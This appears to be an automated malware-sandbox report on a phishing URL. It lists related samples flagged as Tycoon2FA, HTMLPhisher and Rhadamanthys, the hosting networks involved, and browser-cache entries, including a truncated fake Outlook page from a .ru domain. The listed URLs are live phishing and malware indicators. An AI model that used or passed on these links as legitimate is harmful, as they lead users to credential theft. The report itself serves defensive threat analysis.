Tycoon2FA	Browse	104.16.2.189
	http://email.shop2.wonderpark.my/c/eJwUyk1uhSAQAODTwJIM8wPzFiy68R4KYzX1iRHTprdvuv9aiRbTDN5KzIyIokp-K7YirKlWzVWAeRFKVVflF5OpSvJ7QUABijkKKVBgihmqGWBeYGnsGMbWLww__Wx2X_P9Fd6__ijb81zD0YfDyeFk80tZKK9iUJtASjaTNA2LnWO_eqj97XDyd7EWtv45n6OfjqHeNp5jP23rjx3jn_nvgn8BAAD__y9yPWo	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.3.189
	2450856955_.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.4.189
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.3.189
	Wpb00990__098.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	5886059152_.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://stelladass.co.uk/ra3.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://nwsyork.lamboi.xyz/HnBTHlrQ#parts@foster-uk.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	f64da42c-e9a8-a0ac-437d-d14377da4643.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.5.189
code.jquery.com	Play_VM-Now(eric.basil)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://analytics.zoho.com/open-view/3062125000000006086	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhMl349dE-2BIxYKCLpL5-2B-2FL8px39hmRTYxAZ-2BeMH1CR7jYvsg3f7mQR-2BtgzEdpv6rWDyoEa1Isq60WafIaat9IMqfozrbRuGiDhSD5zRfw1vSUnaPfHOkeKVWyjmgPghsIl-2FnSiz3vjd-2BgNdZNW1WWi7RlhTni8jQbV4O1UkQOa0-2F2VYGlXOPUclqMwRi50Vl1PR4j2jhVrjOnUdA6E03jJF3YxTMCgxElFH-2Bjnu2oS6ZdGJGXf9TKr37Eh3pnVym0G5ilxnSN6bJyz-2FWbi47cL6vQDH-2FLX6HDdsxLQr4OiWNyplfwZIjGldJH3Oj3k-2B0Sr92pyHOs07I3QG9CN9BFC52s0blv8XoiBzACqb7MDZTgdhgx-2Fj3fdHjRUqn0E0aUxawEH-2F-2B7SQiAWk4bi4jHEXI-3DlKA5_AMa9RrBWZfrIG11ZEW0ArF1BRI9e8rcrPZr5T9DlZ7Ba2ZAvuJPwiS8cX4aFrXjFerUDwGcfFdNk6Ly7G30W-2FpJZ3vwwQM6aCBocvejnros7-2FYckwVQH02a6C13hCOZXCH6DxRozn9HOBenC-2BdqPCIwBV1vvkSKYyJjB4wo2MVyi5b4Ko6F9xhTiwowhGgTSo1JEnvhUu4BAFpCuBdmsFw-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	http://email.shop2.wonderpark.my/c/eJwUyk1uhSAQAODTwJIM8wPzFiy68R4KYzX1iRHTprdvuv9aiRbTDN5KzIyIokp-K7YirKlWzVWAeRFKVVflF5OpSvJ7QUABijkKKVBgihmqGWBeYGnsGMbWLww__Wx2X_P9Fd6__ijb81zD0YfDyeFk80tZKK9iUJtASjaTNA2LnWO_eqj97XDyd7EWtv45n6OfjqHeNp5jP23rjx3jn_nvgn8BAAD__y9yPWo	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	2450856955_.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://www.languagesim.com/interpretationterms/	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	https://www.languagesim.com/interpretationterms/	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://click.selectiveasia.com/l391pk/vx4w8gZP	Get hash	malicious	Unknown	Browse	151.101.2.137
	VM(Carmen)52177372.mp4.html	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
github.com	T3-03-17.bat	Get hash	malicious	Braodo	Browse	140.82.121.3
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhMl349dE-2BIxYKCLpL5-2B-2FL8px39hmRTYxAZ-2BeMH1CR7jYvsg3f7mQR-2BtgzEdpv6rWDyoEa1Isq60WafIaat9IMqfozrbRuGiDhSD5zRfw1vSUnaPfHOkeKVWyjmgPghsIl-2FnSiz3vjd-2BgNdZNW1WWi7RlhTni8jQbV4O1UkQOa0-2F2VYGlXOPUclqMwRi50Vl1PR4j2jhVrjOnUdA6E03jJF3YxTMCgxElFH-2Bjnu2oS6ZdGJGXf9TKr37Eh3pnVym0G5ilxnSN6bJyz-2FWbi47cL6vQDH-2FLX6HDdsxLQr4OiWNyplfwZIjGldJH3Oj3k-2B0Sr92pyHOs07I3QG9CN9BFC52s0blv8XoiBzACqb7MDZTgdhgx-2Fj3fdHjRUqn0E0aUxawEH-2F-2B7SQiAWk4bi4jHEXI-3DlKA5_AMa9RrBWZfrIG11ZEW0ArF1BRI9e8rcrPZr5T9DlZ7Ba2ZAvuJPwiS8cX4aFrXjFerUDwGcfFdNk6Ly7G30W-2FpJZ3vwwQM6aCBocvejnros7-2FYckwVQH02a6C13hCOZXCH6DxRozn9HOBenC-2BdqPCIwBV1vvkSKYyJjB4wo2MVyi5b4Ko6F9xhTiwowhGgTSo1JEnvhUu4BAFpCuBdmsFw-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	Wpb00990__098.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	https://stelladass.co.uk/ra3.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	sryxen-built.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	SecuriteInfo.com.Heur.6244.6428.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	SecuriteInfo.com.Heur.6244.6428.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
cdnjs.cloudflare.com	securedoc_20250312T094219.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhMl349dE-2BIxYKCLpL5-2B-2FL8px39hmRTYxAZ-2BeMH1CR7jYvsg3f7mQR-2BtgzEdpv6rWDyoEa1Isq60WafIaat9IMqfozrbRuGiDhSD5zRfw1vSUnaPfHOkeKVWyjmgPghsIl-2FnSiz3vjd-2BgNdZNW1WWi7RlhTni8jQbV4O1UkQOa0-2F2VYGlXOPUclqMwRi50Vl1PR4j2jhVrjOnUdA6E03jJF3YxTMCgxElFH-2Bjnu2oS6ZdGJGXf9TKr37Eh3pnVym0G5ilxnSN6bJyz-2FWbi47cL6vQDH-2FLX6HDdsxLQr4OiWNyplfwZIjGldJH3Oj3k-2B0Sr92pyHOs07I3QG9CN9BFC52s0blv8XoiBzACqb7MDZTgdhgx-2Fj3fdHjRUqn0E0aUxawEH-2F-2B7SQiAWk4bi4jHEXI-3DlKA5_AMa9RrBWZfrIG11ZEW0ArF1BRI9e8rcrPZr5T9DlZ7Ba2ZAvuJPwiS8cX4aFrXjFerUDwGcfFdNk6Ly7G30W-2FpJZ3vwwQM6aCBocvejnros7-2FYckwVQH02a6C13hCOZXCH6DxRozn9HOBenC-2BdqPCIwBV1vvkSKYyJjB4wo2MVyi5b4Ko6F9xhTiwowhGgTSo1JEnvhUu4BAFpCuBdmsFw-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	1099-NEC.pdf	Get hash	malicious	RHADAMANTHYS	Browse	104.17.24.14
	http://email.shop2.wonderpark.my/c/eJwUyk1uhSAQAODTwJIM8wPzFiy68R4KYzX1iRHTprdvuv9aiRbTDN5KzIyIokp-K7YirKlWzVWAeRFKVVflF5OpSvJ7QUABijkKKVBgihmqGWBeYGnsGMbWLww__Wx2X_P9Fd6__ijb81zD0YfDyeFk80tZKK9iUJtASjaTNA2LnWO_eqj97XDyd7EWtv45n6OfjqHeNp5jP23rjx3jn_nvgn8BAAD__y9yPWo	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	2450856955_.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	VM(Carmen)52177372.mp4.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://forms.office.com/e/CzYzGKsuJ0h0Qz9CdMLPYe0NavsKbyZ12uW0kP6	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Wpb00990__098.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	https://docs.faxcloudstorage.de/uTN1Q	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	original (2).eml	Get hash	malicious	Unknown	Browse	104.21.13.45
	http://gamma.app	Get hash	malicious	Unknown	Browse	104.18.86.42
	original (1).eml	Get hash	malicious	Unknown	Browse	104.21.27.77
	https://office.internalportal.net/XZ3hrdWFDVElydnJXMFN0VkVPcnRLQkVhenUyUlhTSFA4eEpFN3lPV1FpR0tnak1mV1M4T0xUMUJZUXgzMHFIbk1GengzZ1hyKyszM1QwcjRPSm5HYzNjZ2VwVlVrUGdtS1hqU0xNdU9sMmFYc0cyMENTWHRxT3l4aG5kZGRldG02QXlhdkcyQ3pieVRHUVVLWWk3enlDSE5HenR3aDBjQVJibnFUcWJGektJMk1iblhYTDBvMUIzRUlkakZJSFBmRDVDWmVqeG5FRFZucEhzMHd4MDhIQm89LS1aOUtiSTV6UTBxeDZYZWp3LS1pWjA3eGgyY2kwNjgvWVlUd0hibVJnPT0=?cid=2438021603	Get hash	malicious	KnowBe4	Browse	104.18.91.62
	https://check.xemyrai6.icu/gkcxv.google?i=3755074e-f8fb-4a7a-b690-776492d909a4%20#%20''I%20am%20not%20a%20robot%20-%20%D0%A1%D0%90%D0%A0%D0%A2%D0%A1%D0%9D%D0%90%20Verification%20ID:738948''	Get hash	malicious	Unknown	Browse	188.114.96.3
	payments_18.03.2025_05_60.js	Get hash	malicious	RMSRemoteAdmin	Browse	104.18.20.226
	securedoc_20250312T094219.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://globalvpnproject.net	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://gamma.app/docs/New-PDF-Document-Received-6wmhomcaze1r57m?mode=present#card-c4d721ntj9z3keo	Get hash	malicious	Unknown	Browse	104.18.11.200
CLOUDFLARENETUS	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	original (2).eml	Get hash	malicious	Unknown	Browse	104.21.13.45
	http://gamma.app	Get hash	malicious	Unknown	Browse	104.18.86.42
	original (1).eml	Get hash	malicious	Unknown	Browse	104.21.27.77
	https://office.internalportal.net/XZ3hrdWFDVElydnJXMFN0VkVPcnRLQkVhenUyUlhTSFA4eEpFN3lPV1FpR0tnak1mV1M4T0xUMUJZUXgzMHFIbk1GengzZ1hyKyszM1QwcjRPSm5HYzNjZ2VwVlVrUGdtS1hqU0xNdU9sMmFYc0cyMENTWHRxT3l4aG5kZGRldG02QXlhdkcyQ3pieVRHUVVLWWk3enlDSE5HenR3aDBjQVJibnFUcWJGektJMk1iblhYTDBvMUIzRUlkakZJSFBmRDVDWmVqeG5FRFZucEhzMHd4MDhIQm89LS1aOUtiSTV6UTBxeDZYZWp3LS1pWjA3eGgyY2kwNjgvWVlUd0hibVJnPT0=?cid=2438021603	Get hash	malicious	KnowBe4	Browse	104.18.91.62
	https://check.xemyrai6.icu/gkcxv.google?i=3755074e-f8fb-4a7a-b690-776492d909a4%20#%20''I%20am%20not%20a%20robot%20-%20%D0%A1%D0%90%D0%A0%D0%A2%D0%A1%D0%9D%D0%90%20Verification%20ID:738948''	Get hash	malicious	Unknown	Browse	188.114.96.3
	payments_18.03.2025_05_60.js	Get hash	malicious	RMSRemoteAdmin	Browse	104.18.20.226
	securedoc_20250312T094219.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://globalvpnproject.net	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://gamma.app/docs/New-PDF-Document-Received-6wmhomcaze1r57m?mode=present#card-c4d721ntj9z3keo	Get hash	malicious	Unknown	Browse	104.18.11.200
CLOUDFLARENETUS	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	original (2).eml	Get hash	malicious	Unknown	Browse	104.21.13.45
	http://gamma.app	Get hash	malicious	Unknown	Browse	104.18.86.42
	original (1).eml	Get hash	malicious	Unknown	Browse	104.21.27.77
	https://office.internalportal.net/XZ3hrdWFDVElydnJXMFN0VkVPcnRLQkVhenUyUlhTSFA4eEpFN3lPV1FpR0tnak1mV1M4T0xUMUJZUXgzMHFIbk1GengzZ1hyKyszM1QwcjRPSm5HYzNjZ2VwVlVrUGdtS1hqU0xNdU9sMmFYc0cyMENTWHRxT3l4aG5kZGRldG02QXlhdkcyQ3pieVRHUVVLWWk3enlDSE5HenR3aDBjQVJibnFUcWJGektJMk1iblhYTDBvMUIzRUlkakZJSFBmRDVDWmVqeG5FRFZucEhzMHd4MDhIQm89LS1aOUtiSTV6UTBxeDZYZWp3LS1pWjA3eGgyY2kwNjgvWVlUd0hibVJnPT0=?cid=2438021603	Get hash	malicious	KnowBe4	Browse	104.18.91.62
	https://check.xemyrai6.icu/gkcxv.google?i=3755074e-f8fb-4a7a-b690-776492d909a4%20#%20''I%20am%20not%20a%20robot%20-%20%D0%A1%D0%90%D0%A0%D0%A2%D0%A1%D0%9D%D0%90%20Verification%20ID:738948''	Get hash	malicious	Unknown	Browse	188.114.96.3
	payments_18.03.2025_05_60.js	Get hash	malicious	RMSRemoteAdmin	Browse	104.18.20.226
	securedoc_20250312T094219.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://globalvpnproject.net	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://gamma.app/docs/New-PDF-Document-Received-6wmhomcaze1r57m?mode=present#card-c4d721ntj9z3keo	Get hash	malicious	Unknown	Browse	104.18.11.200
CLOUDFLARENETUS	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	original (2).eml	Get hash	malicious	Unknown	Browse	104.21.13.45
	http://gamma.app	Get hash	malicious	Unknown	Browse	104.18.86.42
	original (1).eml	Get hash	malicious	Unknown	Browse	104.21.27.77
	https://office.internalportal.net/XZ3hrdWFDVElydnJXMFN0VkVPcnRLQkVhenUyUlhTSFA4eEpFN3lPV1FpR0tnak1mV1M4T0xUMUJZUXgzMHFIbk1GengzZ1hyKyszM1QwcjRPSm5HYzNjZ2VwVlVrUGdtS1hqU0xNdU9sMmFYc0cyMENTWHRxT3l4aG5kZGRldG02QXlhdkcyQ3pieVRHUVVLWWk3enlDSE5HenR3aDBjQVJibnFUcWJGektJMk1iblhYTDBvMUIzRUlkakZJSFBmRDVDWmVqeG5FRFZucEhzMHd4MDhIQm89LS1aOUtiSTV6UTBxeDZYZWp3LS1pWjA3eGgyY2kwNjgvWVlUd0hibVJnPT0=?cid=2438021603	Get hash	malicious	KnowBe4	Browse	104.18.91.62
	https://check.xemyrai6.icu/gkcxv.google?i=3755074e-f8fb-4a7a-b690-776492d909a4%20#%20''I%20am%20not%20a%20robot%20-%20%D0%A1%D0%90%D0%A0%D0%A2%D0%A1%D0%9D%D0%90%20Verification%20ID:738948''	Get hash	malicious	Unknown	Browse	188.114.96.3
	payments_18.03.2025_05_60.js	Get hash	malicious	RMSRemoteAdmin	Browse	104.18.20.226
	securedoc_20250312T094219.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://globalvpnproject.net	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://gamma.app/docs/New-PDF-Document-Received-6wmhomcaze1r57m?mode=present#card-c4d721ntj9z3keo	Get hash	malicious	Unknown	Browse	104.18.11.200

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	644
Entropy (8bit):	4.6279651077789685
Encrypted:	false
SSDEEP:	12:EEasTzWl6/Kjsg9GXlxDfwyf+/11C1+/MguB/KQGXlxD3EZAGxtw006cNOBkP1HJ:PaPlKKVkz1f+tPUgo/KQGbEZAuwz65GH
MD5:	541B83C2195088043337E4353B6FD60D
SHA1:	F09630596B6713217984785A64F6EA83E91B49C5
SHA-256:	2658B8874F0D2A12E8726DF78AC8954324C3BBE4695E66BDEF89195FDE64322F
SHA-512:	B2AE42BA9D3A63D3ACB179051B005F2589F147D94F044616AE5DC5705E873F16057C56934262841191263B4C35804EF188BD38CF69CCE0F4B2CF76C05F17B8AD
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://grupomarina.brightnexst.ru/uv5tOb9SlHnVjDL3WYeZfQoF3Qs83rstFSZ0igTibpOtLLBCKZ34130
Preview:	RIFF\|...WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHK....W`$....z..".Y..P}0;.PE..G..h....9.@..`..2.......=.T.....-3..ow....&......VP8 :...0........>m&.M.!"......i...O...(.........g....w...XG...

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	9648
Entropy (8bit):	7.9099172475143416
Encrypted:	false
SSDEEP:	192:gwTgBYruFELhYmwd93mjW0l9OsENOLWcXdN4CLrHZfTtjOZgYM5cWjAaP6:gwTgBxaYmo5mS0l9OsuOL3NNVLlfTtjE
MD5:	4946EB373B18D178C93D473489673BB6
SHA1:	16477ACB73B63CA251D37401249E7E4515FEBD24
SHA-256:	666BC574C9F3FB28A8AC626FA8105C187C2A313736494A06BD5A937473673C92
SHA-512:	F684B90B748DC8399F76C5D8F94AF6C4E6869143F18D19CE435B25EAA14E9647B120467BDD0795895676DC0CCCDEABF82BEB2F46CE2C5BF4C58ED9C134F30C48
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	RIFF.%..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH......0....n.mu..G..t042.....@...`[...%...6....9AD.'@.,f.B...+..+..+..W&.p.....h.......f.-...+.....m...n....E....O].+R.&Q..#.X.ip4..p......\O...\/....9.5.a..DfZ,K....8.....Z..2..z......t.......\|.I.(..6E.D.}.C..OQD$S}iZ...[D.......q`(...@../.NQ......+"b%.X.D".G.*...0G...".2........x.O......7......E..&....e.F..4...K>.M..Pd.B...@'o./te..[.f....4[..a..x...9#.@$.=...t..=..t_.W....[..f.\|fv...N...c6..k4}.9.7.....f.F3.4[...a...;.m.@N.n.0.....n.G[c.H.}..t.{..;....G...2.::..].0....

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (52013), with CRLF line terminators
Category:	downloaded
Size (bytes):	150084
Entropy (8bit):	5.982360666748915
Encrypted:	false
SSDEEP:	3072:fVqVNbQG/bjri6yNkAcB8iZZfMlg46jU6bvTxuQS+IgiNafCGHYXE4SXK12d9sVl:fSGKHZ8SU6bwlgKafwXJ/OE
MD5:	81C6FCDC011ACCBEF1223B0CA6A579EA
SHA1:	CF27E3F448487248B924DBB292CD368C3C340631
SHA-256:	BB4F29BB2C07CCC21FD11B570E51A645C5E591462296E6B237EDDCBBEB5A727F
SHA-512:	F92D37849626C7D72433F944B980C2995B06B5764DF6F19212DABD561BAD78FB5146F68430EDE52A750F8FFC75CBB9200925C24092F82B4BE103FAE801FA936D
Malicious:	false
Reputation:	low
URL:	https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">.. <meta name="robots" content="noindex, nofollow">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title></title>.. <style id="outlooklogostyle">..body#outlooklogo {.. background-color: #fff;.. height: 100%;.. overflow: hidden;..}....:root {.. --s: 180px;.. --envW: 130px;.. --envH: 71px;.. --calW: 118px;.. --sqW: calc(var(--calW) / 3);.. --sqH: 37px;.. --calHH: 20px;.. --calH: calc(var(--sqH) * 3 + var(--calHH));.. --calY: calc(var(--calH) + 20px);.. --calYExt: calc(var(--calH) - 80px);.. --calYOverExt: calc(var(--calH) - 92px);.. --flapS: 96px;.. --flapH: calc(0.55 * var(--envH));.. --flapScaleY: calc(var(--flapH) / var(--flapWidth));.. --dur: 5s..}..#containerShadow,#ef{border-radius:0 0 7px 7px;}..#cal,#cal>.r{display:flex;}..#fmask,#openedFlap{width:var(--envW);height:107px;}..#ca

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:	6:tI9mc4slzIzUQYqRRn3u0xboUSWuUX8+TQMRAvY:t4uzEu3u0xUUluUs+TQMRAQ
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://grupomarina.brightnexst.ru/mnDozZ86DfeH93KodasaV6JijAz0XdnqsnPjlpZlIO7O290148
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
Reputation:	moderate, very likely benign file
